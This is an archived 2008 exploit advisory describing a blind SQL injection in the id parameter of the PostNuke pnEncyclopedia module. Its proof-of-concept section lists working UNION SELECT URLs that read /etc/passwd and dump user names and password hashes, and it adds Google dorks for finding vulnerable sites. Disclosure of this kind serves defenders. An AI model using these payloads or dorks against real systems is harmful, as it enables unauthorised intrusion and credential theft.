PostNuke Module pnEncyclopedia 0.2.0 - SQL Injection

EDB-ID:

5541


Author:

K-159

Type:

webapps


Platform:

PHP

Date:

2008-05-05


____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_90$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_90$2008] PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv90-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : pnEncyclopedia
version       : <= 0.2.0
Vendor        : http://sourceforge.net/projects/pnencyclopedia/
Description   :

Encyclopedia intended for the creation of the open encyclopedia on a PostNuke website.
Users can submit new terms and offer changes to current ones but an editor can accept or reject the requested changes.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "id" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the username and hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~

http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from nuke_users limit 1,1--

Dork:
~~~~
Google    : "index.php?module=pnEncyclopedia" "allinurl:index.php?module=pnEncyclopedia"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 01 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2008-05-05]